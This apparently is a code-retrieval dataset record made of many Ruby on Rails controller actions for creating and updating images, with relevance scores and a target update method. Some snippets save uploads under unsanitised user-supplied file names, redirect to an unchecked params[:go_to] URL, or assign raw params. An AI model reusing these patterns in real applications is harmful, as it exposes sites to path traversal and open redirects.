@bg_worker.errors.empty? && @bg_worker.save\r\n flash[:notice] = _(\"%{page} was successfully created.\") % {:page => _(\"Bg Worker\")}\r\n if request.xhr? # && params[:format] == 'json'\r\n render(:json => {:id => @bg_worker.id}.merge(@bg_worker.attributes).to_json)\r\n return\r\n end\r\n else\r\n if request.xhr? # && params[:format] == 'json'\r\n render(:json => ({:errors => @bg_worker.errors.full_messages}.merge(@bg_worker.attributes)).to_json)\r\n else\r\n render(:action => :new)\r\n end\r\n return\r\n end\r\n if params[:go_to].blank?\r\n redirect_to :action => (params[:commit_and_new] ? :new : :index)\r\n else\r\n redirect_to(params[:go_to])\r\n end\r\n end", "def create\n @home_image = HomeImage.new(home_image_params)\n\n respond_to do |format|\n if @home_image.save\n format.html { redirect_to home_images_path, notice: 'Home image was successfully created.' }\n format.json { render :show, status: :created, location: @home_image }\n else\n format.html { render :new }\n format.json { render json: @home_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def images\n end", "def upload_image\n @image = Image.create(image_path: params[:upload][:image])\n p @image\n render json: @image\n end", "def create\n @level = Level.new(params[:level])\n\n base64png = params[:level][:json]['backgroundUrl']\n filename = Digest::MD5.hexdigest(base64png) + \".png\"\n\n File.open(File.join('public','uploads','maps', filename), 'wb') do |f|\n f.write(Base64.decode64(base64png.sub('data:image/png;base64,','')))\n end\n\n @level.json[\"backgroundUrl\"] = \"/uploads/maps/#{filename}\"\n @level.creator = current_user\n\n respond_to do |format|\n if @level.save\n format.html { redirect_to(@level, :notice => 'Level was successfully created.') }\n format.json { render :json => @level, :status => :created, :location => @level }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @level.errors, :status => :unprocessable_entity }\n end\n end\n end", "def background_params\n params.require(:background).permit(:url, :comic_id)\n end", "def create\n @logo = @campaign.logos.new(logo_params)\n @logo.name = \"#{current_user.company_info.company_name} - #{Time.now.to_i}\"\n filename = params[:logo][:image].tempfile.path\n create_api_image\n @api_image.create_image(@campaign.uuid,filename)\n @logo.uuid_image = @api_image.uuid_image\n respond_to do |format|\n if @logo.save\n format.html { redirect_to dashboard_index_path}\n format.json { render :show, status: :created, location: @logo }\n else\n format.html { render :new }\n format.json { render json: @logo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n request_image = params[:image]\n url_hash = SecureRandom.urlsafe_base64(6)\n name = url_hash + \"-\" + request_image.original_filename.downcase\n\n File.open(\"#{Rails.root}/public/theta/#{name}\", 'wb') do |f|\n f.write(request_image.read)\n end\n\n theta = Theta.create!(url_hash: url_hash, image_url: name)\n render json: {url: \"http://www.rakugaki.tk/h/#{theta.url_hash}\"}, status: 201\n end", "def destroy\n @admin_bg_image.destroy\n respond_to do |format|\n format.html { redirect_to admin_bg_images_url, notice: 'Bg image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @rent = Rent.new(rent_params)\n @rentpar = rent_params\n respond_to do |format|\n if @rent.save\n\n if params[:image]\n puts params[:image]\n params[:image].each { |image|\n @rent.rent_images.create(rent_id: @rent.id, image:image)\n }\n \n end\n\n format.html { redirect_to @rent, notice: 'Rent was successfully created.' }\n format.json { render :show, status: :created, location: @rent }\n else\n format.html { render :new }\n format.json { render json: @rent.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n add_more_images(image_params[:thing_images])\n flash[:error] = \"Failed uploading images\" unless @thing.save\n redirect_to :back\n end", "def load_background_images\n hourly_image_files = {}\n\n Dir.glob(File.join(RAILS_ROOT, 'public', 'bg-pictures', '*.jpg')).each do |path|\n image_file = path.gsub(/#{File.join(RAILS_ROOT, 'public')}/, '')\n time_parts = image_file.split('/').last.split('.').first.split('-')\n\n # Determine default image\n if time_parts.length == 1 && time_parts.first == '0'\n hourly_image_files[:default] = image_file\n\n # Determine time range\n elsif time_parts.length == 2\n if time_parts.first.to_i < time_parts.last.to_i\n (time_parts.first.to_i..time_parts.last.to_i).each do |hour|\n hourly_image_files[\"hour_#{hour}\"] = image_file\n end\n else\n (time_parts.first.to_i..24).each do |hour|\n hourly_image_files[\"hour_#{hour}\"] = image_file\n end\n\n (0..time_parts.last.to_i).each do |hour|\n hourly_image_files[\"hour_#{hour}\"] = image_file\n end\n end\n end\n end\n\n hourly_image_files\n end", "def image hash = {}\n hash = { :id => hash} if hash.is_a? String\n home hash.update :action => 'image', :trailing_slash => false\n end", "def create\n new_img = img_params[:img_row]\n new_img[:name] = new_img[:image].original_filename\n @img_row = ImageRow.new(new_img)\n if @img_row.save\n redirect_to image_row_path(@img_row)\n else\n flash[:errors] = @img_row.errors.full_messages\n redirect_to new_image_row_path(@img_row)\n end\n end", "def new\n @banner_img = BannerImg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @banner_img }\n end\n end", "def create\n\n if current_user.nil?\n redirect_to '/'\n end\n\n if(params[\"labels\"].nil?)\n respond_to do |format|\n format.html { redirect_to image_label_sets_url, error: 'Labels not present.' }\n end\n return\n end\n\n @image_label_set = ImageLabelSet.new\n @image_label_set.name = params[\"name\"]\n @image_label_set.user_id = current_user.id\n save_success = @image_label_set.save\n\n params[\"labels\"].split(\",\").each do |l|\n lb = Label.new\n lb.text = l\n lb.image_label_set_id = @image_label_set.id\n lb.save\n end\n\n images_folder_path = Rails.root.join('public', \"images/#{@image_label_set.id}\")\n FileUtils::mkdir_p images_folder_path\n\n accepted_formats = [\".jpg\", \".png\", \".bmp\"]\n\n params[\"upload\"].each do |uf|\n #Check if zipfile, raw images or URL textfile\n if (File.extname(uf.tempfile.path)==\".txt\")\n Image.transaction do\n File.readlines(uf.tempfile.path).each do |line|\n i = Image.new\n i.url = line.strip\n i.image_label_set_id = @image_label_set.id\n i.save\n end\n end\n end\n uf.tempfile.close\n uf.tempfile.unlink\n end\n\n respond_to do |format|\n if save_success\n format.html { redirect_to @image_label_set, notice: 'Image label set was successfully created.' }\n format.json { render :show, status: :created, location: @image_label_set }\n else\n format.html { render :new }\n format.json { render json: @image_label_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @bwimage = Bwimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bwimage }\n end\n end", "def create\n @objective_image = ObjectiveImage.new(objective_image_params)\n\n respond_to do |format|\n if @objective_image.save\n format.html { redirect_to @objective_image, notice: 'Objective image was successfully created.' }\n format.json { render :show, status: :created, location: @objective_image }\n else\n format.html { render :new }\n format.json { render json: @objective_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @upload_preview = UploadPreview.new(params[:upload_preview])\n \n if @upload_preview.save\n render :json => {:img_path => @upload_preview.img.url.to_s,:id=>@upload_preview.id, \n :name => @upload_preview.img.instance.attributes[\"img_file_name\"]}, :content_type => 'text/html' \n else\n render :json => {:result => 'error'}, :content_type => 'text/html'\n end\n end", "def images()\n @photos = all_photos() \n @headers['Content-Type'] = CONTENT_TYPE\n end", "def create\n\t\t@img = ReportImage.new(img_params)\n\n\t\tif @img.save\n\t\t\trender :json => @img\n\t\telse\n\t\t\trender :json => @img.errors\n\t\tend\n\tend", "def create\n @album = Pagealbum.new(album_params)\n @images=album_params[:images_attributes].values.map {|x| Image.new(x)} rescue []\n\n respond_to do |format|\n if @album.save\n page=Page.first\n page.albums << @album\n format.html { redirect_to my_album_page_path(id: @album.id), notice: \"Pagealbum was successfully created.\" }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @commission = Commission.new(commission_params)\n respond_to do |format|\n if @commission.save\n if params[:commission_images]\n params[:commission_images].each { |commission_image| @commission.commission_images.create(path: commission_image) }\n end\n format.html { redirect_to @commission, notice: 'Commission was successfully created.' }\n format.json { render :show, status: :created, location: @commission }\n else\n format.html { render :new }\n format.json { render json: @commission.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n post = Post.new(post_params)\n post.location = Location.create(name: params[:post][:location][:name], lat: params[:post][:location][:lat], long: params[:post][:location][:long])\n if post.save\n params[:post][:images].each do |i|\n img = Image.find(i[:id])\n img.update(active: 1, post_id: post.id)\n end\n\n render json: {\n status: \"success\",\n data: post.as_json(\n include: [\n {\n user:\n {\n only: [:id, :name, :avatar]\n }\n },\n :location,\n {\n images: {\n only: [:id, :src]\n }\n },\n :rates\n ])}, status: :ok\n\n else\n render json: post.errors, status: 404\n end\n end", "def images; end", "def create\n breakfast_images = new_day_params[:breakfast_attributes].delete(:breakfast_images)\n lunch_images = new_day_params[:lunch_attributes].delete(:lunch_images)\n dinner_images = new_day_params[:dinner_attributes].delete(:dinner_images)\n snack_images = new_day_params[:snacks_attributes]['0'].delete(:snack_images)\n exercise_images = new_day_params[:exercise_attributes].delete(:exercise_images)\n @new_day = NewDay.new(new_day_params)\n @new_day.user = current_user\n respond_to do |format|\n if @new_day.save\n if breakfast_images.present?\n breakfast_images.each do |image|\n BreakfastImage.create!(:image => image, :breakfast_id => @new_day.breakfast.id)\n end\n end\n if lunch_images.present?\n lunch_images.each do |image|\n LunchImage.create!(:image => image, :lunch_id => @new_day.lunch.id)\n end\n end\n if dinner_images.present?\n dinner_images.each do |image|\n DinnerImage.create!(:image => image, :dinner_id => @new_day.dinner.id)\n end\n end\n if snack_images.present?\n snack_images.each do |image|\n SnackImage.create!(:image => image, :snack_id => @new_day.snacks.first.id)\n end\n end\n if exercise_images.present?\n exercise_images.each do |image|\n ExerciseImage.create!(:image => image, :exercise_id => @new_day.exercise.id)\n end\n end\n format.html { redirect_to @new_day, notice: 'New day was successfully created.' }\n format.json { render :show, status: :created, location: @new_day }\n else\n format.html { render :new }\n format.json { render json: @new_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n @image ||= Image.new(image_params)\n if @image.save\n render json: {\"url\" => @image.image_url(:resized), \"success\" => true}\n else\n render json: @image.errors, status: :unprocessable_entity\n end\n end", "def create\n @picture = Picture.create!(picture_params)\n render json: @picture, status: :created\n end", "def create\n @notice_image = NoticeImage.new(notice_image_params)\n\n respond_to do |format|\n if @notice_image.save\n format.html { redirect_to :back, notice: 'Notice image was successfully created.' }\n format.json { render :show, status: :created, location: @notice_image }\n else\n format.html { render :new }\n format.json { render json: @notice_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #p request.form_data?\n #p YAML.load(request.body_stream)\n #p request.body_stream.size\n # File.open('d:/data.jpg', 'w') do |f|\n # f.puts(request.body_stream.read)\n # end\n\n p import_avatar_params\n # uploaded_io = import_avatar_params\n # File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|\n # file.write(uploaded_io.read)\n # end\n #\n # s = Student.find_by(sno: 'S318107024')\n # s.avatar = import_avatar_params\n # s.save\n @import_avatar = ImportAvatar.new(import_avatar_params)\n\n if @import_avatar.save\n render :show, status: :created, location: @import_avatar\n else\n render json: @import_avatar.errors, status: :unprocessable_entity\n end\n end", "def restaurant_image\n if !check_step_info(@restaurant)\n return\n end\n\n render json: {:success => true, :attachmentPartial => render_to_string('restaurant_manage/restaurant_image', :layout => false ) }\n end", "def create\n @img = current_user.imgs.build(img_params)\n # @img = Img.new(img_params)\n\n respond_to do |format|\n if @img.save\n format.html { redirect_to @img, notice: \"Img was successfully created.\" }\n format.json { render :show, status: :created, location: @img }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @img.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:sibling_background][:user_id] = current_user.id\n\n @sibling_background = SiblingBackground.new(sibling_background_params)\n\n respond_to do |format|\n if @sibling_background.save\n format.html { redirect_to @sibling_background, notice: 'Sibling background was successfully created.' }\n format.json { render :show, status: :created, location: @sibling_background }\n else\n format.html { render :new }\n format.json { render json: @sibling_background.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @highlight = Highlight.new(highlight_params)\n @highlight.build_desktop_image(file: params[:highlight][:desktop_img])\n @highlight.build_mobile_image(file: params[:highlight][:mobile_img])\n\n if @highlight.save\n if params[:\"input-preview\"] == \"1\"\n redirect_to action: :show, id: @highlight.id\n else\n redirect_to action: :index\n end\n else\n render :new\n end\n end", "def create\n @image = Image.new(image_params)\n\n # fetch tags from google vision API\n helpers.fetch_tags(image_params)\n\n @image.image_file.attach(image_params[:image_file])\n\n respond_to do |format|\n if @image.save()\n format.html { redirect_to @image, notice: \"Image was successfully created.\" }\n format.json { render :show, status: :created, location: @image }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ad_image = AdImage.new(ad_image_params)\n @ad_image.make_primary\n respond_to do |format|\n if @ad_image.save\n format.json { render json: @ad_image.to_dropzone_gallery.to_json, :status => 200 }\n format.html { redirect_to @ad_image, notice: 'Ad image was successfully added.'}\n else\n # you need to send an error header, otherwise Dropzone\n # will not interpret the response as an error:\n format.json { render json: { error: @ad_image.errors.full_messages.join(',')}, :status => 400 }\n format.html { redirect_to @ad_image, notice: 'Ad image had issues being created.'}\n end\n end\n end", "def create\n @image_section = ImageSection.new(params[:image_section])\n\n respond_to do |format|\n if @image_section.save\n format.html { redirect_to @image_section, notice: 'Image section was successfully created.' }\n format.json { render json: @image_section, status: :created, location: @image_section }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image_section.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @featured_image = FeaturedImage.new(featured_image_params)\n\n respond_to do |format|\n if @featured_image.save\n format.html { redirect_to @featured_image, notice: 'Featured image was successfully created.' }\n format.json { render :show, status: :created, location: @featured_image }\n else\n format.html { render :new }\n format.json { render json: @featured_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def element\n image_name_list = get_image_name_list ORIGINALS_PATH\n image_name_list.each { |image_name| post(image_name) }\n end", "def create_json\n respond_to do | wants |\n wants.json do\n _create do | image, image_placement |\n if image.save && image_placement.save\n render :layout => false, :json => { :status => 'UPLOADED', :image_url => url_for(:action=>'show', :id=>image_placement.id, :only_path => true)} \n # returning application/json, text/x-json, text/json cause Firefox 3 to try to open an app\n # returning text/html or application/xhtml+xml causes ampersands (&) in json \n # strings to get html_escape (&amp;)\n response.content_type = Mime::HTML\n else\n render :layout => false, :json => { :status => 'FAILED'}\n # otherwise Rails returns application/json and Firefox 3 tries to open an app\n response.content_type = Mime::HTML\n end\n end\n end\n end\n end", "def create\n @category_image = CategoryImage.new(params[:category_image])\n\n respond_to do |format|\n if @category_image.save\n format.html { redirect_to @category_image, notice: 'Category image was successfully created.' }\n format.json { render json: @category_image, status: :created, location: @category_image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def images\n bugImages = BugImage.all\n render :json => bugImages.to_json\n end", "def index\n @background_images = BackgroundImage.all\n render layout: 'devise_layout' \n end", "def create\n @image_attrib = ImageAttrib.new(image_attrib_params)\n\n if @image_attrib.save\n render :show, status: :created, location: @image_attrib\n else\n render json: @image_attrib.errors, status: :unprocessable_entity\n end\n end", "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n @item.images.delete_all\n unless params.require(:item)[:images_id].nil?\n params.require(:item)[:images_id].each do |id|\n image = Image.find_by_id(id)\n (@item.images << image) unless image.nil?\n end\n end\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @image = Image.new(image_params)\n respond_to do |format|\n if @image.save\n format.json { render :json => { url: @image.image.url} }\n else\n \n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @apartment = current_user.apartments.new(apartment_params)\n\n respond_to do |format|\n if @apartment.save\n if params[:images]\n # The magic is here ;)\n params[:images].each { |image|\n @apartment.pictures.create(image: image)\n }\n end\n format.html { redirect_to @apartment, notice: 'Propiedad creada correctamente.' }\n format.json { render :show, status: :created, location: @apartment }\n else\n format.html { render :new }\n format.json { render json: @apartment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @yh_picture = YhPicture.new(yh_picture_params)\n\n respond_to do |format|\n if @yh_picture.save\n format.html { redirect_to @yh_picture, notice: 'Yh picture was successfully created.' }\n format.json { render :show, status: :created, location: @yh_picture }\n else\n format.html { render :new }\n format.json { render json: @yh_picture.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @content_image = ContentImage.new(content_image_params)\n\n if !params[\"content_image\"][\"file_upload\"].nil?\n upload_file = params[\"content_image\"][\"file_upload\"]\n file_name_conc = File.join(\"public/uploads/\", upload_file.original_filename)\n File.open(file_name_conc, \"wb\") {|t| t.write(upload_file.read)}\n @content_image.file_name = file_name_conc\n end\n\n respond_to do |format|\n\n if @content_image.save\n format.html {redirect_to @content_image, notice: 'Content image was successfully created.'}\n format.json {render :show, status: :created, location: @content_image}\n else\n format.html {render :new}\n format.json {render json: @content_image.errors, status: :unprocessable_entity}\n end\n end\n end", "def image_params\n params.require(:image).permit(:image, :title, :delete_code, :homepage)\n end", "def create\n patient_last_name = params[:image_type][:patient_last_name].strip\n patient_first_name = params[:image_type][:patient_first_name].strip\n patient_account_number = params[:image_type][:patient_account_number].strip\n image_type = params[:image_type][:image_type]\n image_page_no = params[:image_type][:image_page_number]\n if image_page_no.blank?\n flash[:notice] = \"Can't create image type without image page number.\"\n else\n image_page_no = image_page_no.strip\n job_id = params[:job_id]\n job = Job.find(job_id)\n exact_job_id = job.get_parent_job_id\n job = Job.find(exact_job_id) if exact_job_id != job.id\n images_for_job_id = job.get_exact_images_for_job_reference(image_page_no)\n unless images_for_job_id.blank?\n image_type_for_job = ImageType.create( :image_type => image_type, \n :patient_account_number => patient_account_number,\n :patient_last_name => patient_last_name, \n :patient_first_name => patient_first_name,\n :image_page_number => image_page_no, \n :images_for_job_id => images_for_job_id)\n end\n unless image_type_for_job.blank?\n flash[:notice] = \"Image_type created successfully.\"\n else\n flash[:notice] = \"Failed creating image_type.\"\n end\n logger.debug \"Imagetype Creation ends\" \n end\n redirect_to :action => \"list\", :job_id => params[:job_id], :page => params[:page]\n end", "def create\n @postimage = Postimage.new(postimage_params)\n\n respond_to do |format|\n if @postimage.save\n format.html { redirect_to @postimage, notice: 'Postimage was successfully created.' }\n format.json { render :show, status: :created, location: @postimage }\n \n else\n format.html { render :new }\n format.json { render json: @postimage.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7049247", "0.6899239", "0.669983", "0.6676121", "0.6632883", "0.64705336", "0.6375366", "0.6182906", "0.6119136", "0.60856164", "0.6063008", "0.6038866", "0.59725153", "0.5958938", "0.5747429", "0.5580354", "0.5564568", "0.5524865", "0.5522614", "0.55215967", "0.5515622", "0.55037284", "0.5487398", "0.5440574", "0.5434679", "0.54275644", "0.54209363", "0.541419", "0.5408767", "0.53822327", "0.5376069", "0.5366653", "0.53589106", "0.5355998", "0.53549147", "0.5315413", "0.5314398", "0.53021854", "0.5298912", "0.52932394", "0.52894825", "0.5270366", "0.5269714", "0.5268941", "0.52631575", "0.5256284", "0.52546364", "0.52513605", "0.5249858", "0.5245322", "0.52433586", "0.52422637", "0.5237568", "0.5229198", "0.52277726", "0.52276975", "0.5208653", "0.5196222", "0.5189499", "0.51703995", "0.51660925", "0.5162787", "0.5160271", "0.5159563", "0.5154985", "0.51491237", "0.51434886", "0.5140864", "0.51357406", "0.5130983", "0.513097", "0.5128839", "0.5125032", "0.5122363", "0.51166576", "0.5109878", "0.51083165", "0.5105622", "0.5094914", "0.5090907", "0.50836015", "0.5071106", "0.5066868", "0.5054136", "0.50476646", "0.50434065", "0.5042175", "0.50400263", "0.50337404", "0.5032726", "0.5031625", "0.5030417", "0.502975", "0.5029749", "0.50267255", "0.5025452", "0.5022753", "0.50199217", "0.50182694", "0.50145435" ]
0.7398027
0
PATCH/PUT /heading_bg_images/1 PATCH/PUT /heading_bg_images/1.json
def update respond_to do |format| if @heading_bg_image.update(heading_bg_image_params) format.html { redirect_to @heading_bg_image, notice: 'Heading bg image was successfully updated.' } format.json { render :show, status: :ok, location: @heading_bg_image } else format.html { render :edit } format.json { render json: @heading_bg_image.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @bgimage = Bgimage.find(params[:id])\n\n respond_to do |format|\n if @bgimage.update_attributes(params[:bgimage])\n format.html { redirect_to @bgimage, :notice => 'Bgimage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bgimage.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_bg_image.update(admin_bg_image_params)\n format.html { redirect_to admin_bg_image_path(@admin_bg_image), notice: 'Bg image was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_bg_image }\n else\n format.html { render :edit }\n format.json { render json: @admin_bg_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_heading_bg_image\n @heading_bg_image = HeadingBgImage.find(params[:id])\n end", "def update\n @page_img_bg_setting = PageImgBgSetting.find(params[:id])\n\n respond_to do |format|\n if @page_img_bg_setting.update_attributes(params[:page_img_bg_setting])\n format.html { redirect_to @page_img_bg_setting, :notice => 'Page img bg setting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @page_img_bg_setting.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @banner_img = BannerImg.find(params[:id])\n\n respond_to do |format|\n if @banner_img.update_attributes(params[:banner_img])\n format.html { redirect_to @banner_img, notice: 'Banner img was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @banner_img.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @family_image = FamilyImage.find(params[:id])\n\n if @family_image.update(family_image_params)\n head :no_content\n else\n render json: @family_image.errors, status: :unprocessable_entity\n end\n end", "def update\n @image = Image.find(params[:id])\n\n #we can allow updating an image name and description and unit, but not the image data. for that we need to create a new image\n update_params = image_params\n update_params.delete(\"image\")\n\n if @image.update(update_params)\n head :no_content\n else\n render json: @image.errors, status: :unprocessable_entity\n end\n end", "def update\n params[:image].delete :created_at\n params[:image].delete :updated_at\n params[:image].delete :id\n @image = Image.find(params[:id])\n if @image.update_attributes(params[:image])\n render json: @image\n else\n render json: @image.errors, status: :unprocessable_entity\n end\n end", "def update\n @pictures = Picture.all.order(created_at: :desc)\n @picture.update(picture_params)\n render json: @pictures\n # head :no_content\n end", "def update\n @used_bike = UsedBike.find(params[:id])\n\n if @used_bike.update(used_bike_params)\n adding_images(params)\n head :no_content\n else\n render json: @used_bike.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @vehicle_type.update(vehicle_type_params)\n images\n\n format.html { redirect_to @vehicle_type, notice: 'Vehicle type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def heading_bg_image_params\n params.require(:heading_bg_image).permit(:heading_bg_image, :page_heading_id)\n end", "def update_image\n # wish image can be updated only when then wish belongs to current user\n if @wish.user_id == current_user.id\n @wish.image.purge\n @wish.image.attach(wish_params[:image])\n render json: url_for(@wish.image)\n end\n end", "def update\n respond_to do |format|\n if @icesled.update(icesled_params)\n if params[:images]\n @icesled.gallery ||= Gallery.new\n params[:images].each do |image|\n @icesled.gallery.images.create(image: image)\n end\n unless @icesled.image_file_size\n @icesled.update(image: @icesled.gallery.images.first.image)\n end\n end\n format.html { redirect_to @icesled, notice: 'Icesled was successfully updated.' }\n format.json { render :show, status: :ok, location: @icesled }\n else\n format.html { render :edit }\n format.json { render json: @icesled.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bg = Bg.find(params[:id])\n\n respond_to do |format|\n if @bg.update_attributes(params[:bg])\n flash[:notice] = 'Bg was successfully updated.'\n format.html { redirect_to(@bg) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bg.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @animal_image.update(animal_image_params)\n format.html { redirect_to @animal_image, notice: \"Animal image was successfully updated.\" }\n format.json { render :show, status: :ok, location: @animal_image }\n else\n format.html { render :edit }\n format.json { render json: @animal_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @web_display_car_image = WebDisplayCarImage.find(params[:id])\n\n if@web_display_car_image.update(web_display_car_image_params)\n head :no_content\n else\n render json:@web_display_car_image.errors, status: :unprocessable_entity\n end\n end", "def update\n @image = Image.find(params[:id])\n checkaccountobject(\"images\",@image)\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n pia = params['establishment']['profile_image_attributes']\n bia = params['establishment']['banner_image_attributes']\n\n respond_to do |format|\n # Are we updating pictures or establishment itself?\n if pia || bia\n # Updating one of the pictures\n if pia and pia['url']\n # Process profile image that have already been uploaded to S3\n # but awaits format processing\n @establishment.profile_image.enqueue_image pia['url']\n format.json { render :show }\n end\n\n if bia and bia['url']\n @establishment.banner_image.enqueue_image bia['url']\n format.json { render :show }\n end\n\n # There is new photo url to add\n elsif params['establishment']['new_photo_url']\n @establishment.photos.build.enqueue_image params['establishment']['new_photo_url']\n format.json { render :show }\n # Okay we are updating establishment\n else\n if @establishment.update(establishment_params)\n format.html { redirect_to @establishment, notice: 'Establishment was successfully updated.' }\n format.json { render :show, status: :ok, location: @establishment }\n else\n format.html { render :edit }\n format.json { render json: @establishment.errors, status: :unprocessable_entity }\n end\n end\n \n # if bia and (bia['graphic'].blank? and bia['graphic_cache'].blank?)\n # params['establishment'].delete 'banner_image_attributes'\n # end\n\n \n end\n end", "def update\n @bg_setup = BgSetup.find(params[:id])\n\n respond_to do |format|\n if @bg_setup.update_attributes(params[:bg_setup])\n format.html { redirect_to @bg_setup, notice: 'Bg setup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bg_setup.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @img.update(img_params)\n format.html { redirect_to @img, notice: \"Img was successfully updated.\" }\n format.json { render :show, status: :ok, location: @img }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @img.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @food.build_image(params['image']) do |t|\n if params['food']['image']['data']\n t.data = Base64.encode64(params['food']['image']['data'].read)\n t.filename = params['food']['image']['data'].original_filename\n t.mime_type = params['food']['image']['data'].content_type\n end\n end \n @food.name = @food.name.capitalize\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @components_bottom_bracket = Components::BottomBracket.find(params[:id])\n\n respond_to do |format|\n \n if @components_bottom_bracket.update_attributes(params[:components_bottom_bracket])\n if @components_bottom_bracket.image_path.blank?\n @components_bottom_bracket.update_attributes(:image_path => \"components/defaults/bottom_bracket.png\")\n end\n format.html { redirect_to(@components_bottom_bracket, :notice => 'Bottom bracket was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @components_bottom_bracket.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @heading_bg_image = HeadingBgImage.new(heading_bg_image_params)\n\n respond_to do |format|\n if @heading_bg_image.save\n format.html { redirect_to @heading_bg_image, notice: 'Heading bg image was successfully created.' }\n format.json { render :show, status: :created, location: @heading_bg_image }\n else\n format.html { render :new }\n format.json { render json: @heading_bg_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @featureimg.update(featureimg_params)\n format.html { redirect_to current_user, notice: 'Feature Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @featureimg.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n parms = ski_params\n parms[:color] = parms[:color].split(', ') if parms[:color]\n respond_to do |format|\n if @ski.update(parms)\n if params[:images]\n @ski.gallery ||= Gallery.new\n params[:images].each do |image|\n @ski.gallery.images.create(image: image)\n end\n unless @ski.image_file_size\n @ski.update(image: @ski.gallery.images.first.image)\n end\n end\n format.html { redirect_to @ski, notice: 'Ski was successfully updated.' }\n format.json { render :show, status: :ok, location: @ski }\n else\n format.html { render :edit }\n format.json { render json: @ski.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @client_image.update(client_image_params)\n format.html { redirect_to client_client_images_path(params[:client_id]), notice: 'Client image was successfully updated.' }\n # format.json { render :show, status: :ok, location: @client_image }\n else\n format.html { redirect_to client_client_images_path(params[:client_id]), notice: 'Client image was successfully updated.' }\n format.json { render json: @client_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @image = Image.find(params[:id])\n type = @image.url_type\n if @image.update_attributes!(params[:image])\n if request.xhr?\n render :text => [ @image.to_jq_upload(type, \"image\") ].to_json.to_s\n else\n redirect_to console_images_path\n end\n else \n if request.xhr?\n render :text => [ @image.to_jq_upload(type, \"image\").merge({ :error => \"custom_failure\" }) ].to_json.to_s\n else\n redirect_to edit_console_image_path(@image)\n end\n end\n end", "def update\n respond_to do |format|\n old_image_id=@food_group.image_id\n #if params[:food_group][:image_attributes][:image_path] == nil\n if @food_group.update(food_group_params)\n #byebug\n if params[:food_group][:image_attributes][:image_path] == nil\n @food_group.update(:image_id=>old_image_id)\n 